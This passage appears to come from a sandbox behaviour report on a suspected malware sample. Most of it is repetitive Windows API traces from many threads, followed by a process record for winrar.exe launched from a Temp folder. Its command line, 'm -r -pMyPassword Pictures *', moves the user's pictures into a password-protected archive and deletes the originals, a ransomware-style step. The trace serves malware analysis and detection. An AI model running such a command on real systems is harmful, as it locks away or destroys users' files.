[0061.321] SetEvent (hEvent=0x190) returned 1 [0061.321] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.374] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.442] SetEvent (hEvent=0x190) returned 1 [0061.442] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.528] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.247] SetEvent (hEvent=0x190) returned 1 [0062.247] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.344] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.440] SetEvent (hEvent=0x190) returned 1 [0062.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.556] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.666] SetEvent (hEvent=0x190) returned 1 [0062.666] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.913] SetEvent (hEvent=0x190) returned 1 [0062.913] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.007] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.517] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.649] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 92 os_tid = 0xa2c [0059.142] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.324] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.147] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.321] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.374] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.442] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.529] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.247] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.344] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.557] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.666] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.913] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.007] SetEvent (hEvent=0x190) returned 1 [0063.007] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.517] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.649] SetEvent (hEvent=0x190) returned 1 [0063.649] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 93 os_tid = 0xa3c [0059.142] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.323] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.658] SetEvent (hEvent=0x190) returned 1 [0059.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.146] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.234] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.321] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.375] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.441] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.529] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.247] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.344] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.439] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.557] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.666] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.912] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.998] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.497] SetEvent (hEvent=0x190) returned 1 [0063.497] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 94 os_tid = 0xa54 [0059.143] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.426] SetEvent (hEvent=0x190) returned 1 [0059.426] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.673] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.147] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.237] SetEvent (hEvent=0x190) returned 1 [0061.237] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.322] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.376] SetEvent (hEvent=0x190) returned 1 [0061.376] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.442] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.530] SetEvent (hEvent=0x190) returned 1 [0061.530] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.247] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.345] SetEvent (hEvent=0x190) returned 1 [0062.345] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.558] SetEvent (hEvent=0x190) returned 1 [0062.558] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.666] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.786] SetEvent (hEvent=0x190) returned 1 [0062.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.913] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.006] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.517] SetEvent (hEvent=0x190) returned 1 [0063.517] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 95 os_tid = 0xa64 [0059.143] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.426] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.673] SetEvent (hEvent=0x190) returned 1 [0059.673] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.154] SetEvent (hEvent=0x190) returned 1 [0061.154] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.267] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.324] SetEvent (hEvent=0x190) returned 1 [0061.324] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.432] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.519] SetEvent (hEvent=0x190) returned 1 [0061.519] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.236] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.335] SetEvent (hEvent=0x190) returned 1 [0062.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.429] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.547] SetEvent (hEvent=0x190) returned 1 [0062.547] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.655] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.776] SetEvent (hEvent=0x190) returned 1 [0062.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.902] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.969] SetEvent (hEvent=0x190) returned 1 [0062.969] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.226] SetEvent (hEvent=0x190) returned 1 [0063.226] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.541] SetEvent (hEvent=0x190) returned 1 [0063.541] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.759] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 96 os_tid = 0xa74 [0059.143] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.426] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.146] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.235] SetEvent (hEvent=0x190) returned 1 [0061.235] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.321] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.375] SetEvent (hEvent=0x190) returned 1 [0061.375] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.441] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.529] SetEvent (hEvent=0x190) returned 1 [0061.529] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.247] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.344] SetEvent (hEvent=0x190) returned 1 [0062.345] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.439] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.557] SetEvent (hEvent=0x190) returned 1 [0062.557] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.666] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.785] SetEvent (hEvent=0x190) returned 1 [0062.785] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.912] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.998] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.497] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.648] SetEvent (hEvent=0x190) returned 1 [0063.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 97 os_tid = 0xa84 [0059.143] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.426] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.658] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.148] SetEvent (hEvent=0x190) returned 1 [0061.148] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.235] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.323] SetEvent (hEvent=0x190) returned 1 [0061.323] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.375] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.443] SetEvent (hEvent=0x190) returned 1 [0061.443] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.529] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.248] SetEvent (hEvent=0x190) returned 1 [0062.248] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.345] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.441] SetEvent (hEvent=0x190) returned 1 [0062.441] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.557] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.667] SetEvent (hEvent=0x190) returned 1 [0062.667] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.914] SetEvent (hEvent=0x190) returned 1 [0062.914] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.007] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.517] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.648] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 98 os_tid = 0xa94 [0059.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.427] RtlReAllocateHeap (Heap=0x290000, Flags=0x0, Ptr=0x3c67650, Size=0x4000) returned 0x3c49600 [0059.427] SetEvent (hEvent=0x190) returned 1 [0059.428] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.673] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.154] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.268] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.323] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.432] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.519] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.236] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.429] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.547] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.656] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.775] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.902] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.969] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.225] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.518] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.750] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 99 os_tid = 0xaa4 [0059.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.427] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.673] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.154] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.268] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.323] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.432] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.519] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.236] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.429] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.547] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.656] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.775] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.903] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.969] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.225] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.517] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.750] SetEvent (hEvent=0x190) returned 1 [0063.750] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 100 os_tid = 0xab4 [0059.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.427] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.674] SetEvent (hEvent=0x190) returned 1 [0059.674] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.154] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.268] SetEvent (hEvent=0x190) returned 1 [0061.268] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.323] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.433] SetEvent (hEvent=0x190) returned 1 [0061.433] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.519] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.236] SetEvent (hEvent=0x190) returned 1 [0062.236] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.334] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.429] SetEvent (hEvent=0x190) returned 1 [0062.430] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.546] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.656] SetEvent (hEvent=0x190) returned 1 [0062.656] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.775] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.903] SetEvent (hEvent=0x190) returned 1 [0062.903] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.969] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.225] SetEvent (hEvent=0x190) returned 1 [0063.225] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.540] SetEvent (hEvent=0x190) returned 1 [0063.540] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.759] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 101 os_tid = 0xac4 [0059.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.427] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.673] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.147] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.236] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.322] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.375] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.442] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.530] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.248] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.345] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.440] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.558] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.667] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.786] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.913] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.007] SetEvent (hEvent=0x190) returned 1 [0063.007] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.518] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.750] SetEvent (hEvent=0x190) returned 1 [0063.750] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 102 os_tid = 0xad4 [0059.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.454] SetEvent (hEvent=0x190) returned 1 [0059.454] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.684] RtlAllocateHeap (HeapHandle=0x290000, Flags=0x0, Size=0x180) returned 0x3c83770 [0059.684] SetEvent (hEvent=0x190) returned 1 [0059.684] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.155] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.270] SetEvent (hEvent=0x190) returned 1 [0061.270] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.324] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.433] SetEvent (hEvent=0x190) returned 1 [0061.434] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.519] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.237] SetEvent (hEvent=0x190) returned 1 [0062.237] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.335] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.431] SetEvent (hEvent=0x190) returned 1 [0062.431] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.547] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.657] SetEvent (hEvent=0x190) returned 1 [0062.657] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.904] SetEvent (hEvent=0x190) returned 1 [0062.904] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.970] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.226] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.540] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.759] SetEvent (hEvent=0x190) returned 1 [0063.759] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Thread: id = 103 os_tid = 0xae4 [0059.144] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.454] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0059.683] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.155] SetEvent (hEvent=0x190) returned 1 [0061.155] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.269] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.325] SetEvent (hEvent=0x190) returned 1 [0061.325] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.433] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0061.520] SetEvent (hEvent=0x190) returned 1 [0061.520] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.236] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.336] SetEvent (hEvent=0x190) returned 1 [0062.336] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.430] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.548] SetEvent (hEvent=0x190) returned 1 [0062.548] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.656] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.776] SetEvent (hEvent=0x190) returned 1 [0062.776] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.903] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0062.970] SetEvent (hEvent=0x190) returned 1 [0062.970] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.241] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.604] SetEvent (hEvent=0x190) returned 1 [0063.605] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) returned 0x0 [0063.775] WaitForSingleObject (hHandle=0x19c, dwMilliseconds=0xffffffff) Process: id = "7" image_name = "winrar.exe" filename = "c:\\users\\whuoxysd\\appdata\\local\\temp\\winrar.exe" page_root = "0x4d2e3000" os_pid = "0x6ac" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0x244" cmd_line = "C:\\Users\\WhuOXYsD\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" cur_dir = "C:\\Users\\WhuOXYsD\\Pictures\\" os_username = "EGLAFTB1N8YA\\WhuOXYsD" os_groups = "EGLAFTB1N8YA\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e60b" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0xa10 [0049.819] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f8d8 | out: lpSystemTimeAsFileTime=0x18f8d8*(dwLowDateTime=0x317c8f20, dwHighDateTime=0x1d4e94c)) [0049.819] GetCurrentThreadId () returned 0xa10 [0049.819] GetCurrentProcessId () returned 0x6ac [0049.819] QueryPerformanceCounter (in: lpPerformanceCount=0x18f8e0 | out: lpPerformanceCount=0x18f8e0*=12515963894) returned 1 [0049.820] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0049.820] GetLastError () returned 0x57 [0049.820] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x0) returned 0x7fef7a20000 [0049.821] GetProcAddress (hModule=0x7fef7a20000, lpProcName="InitializeCriticalSectionEx") returned 0x0 [0049.821] LoadLibraryExW 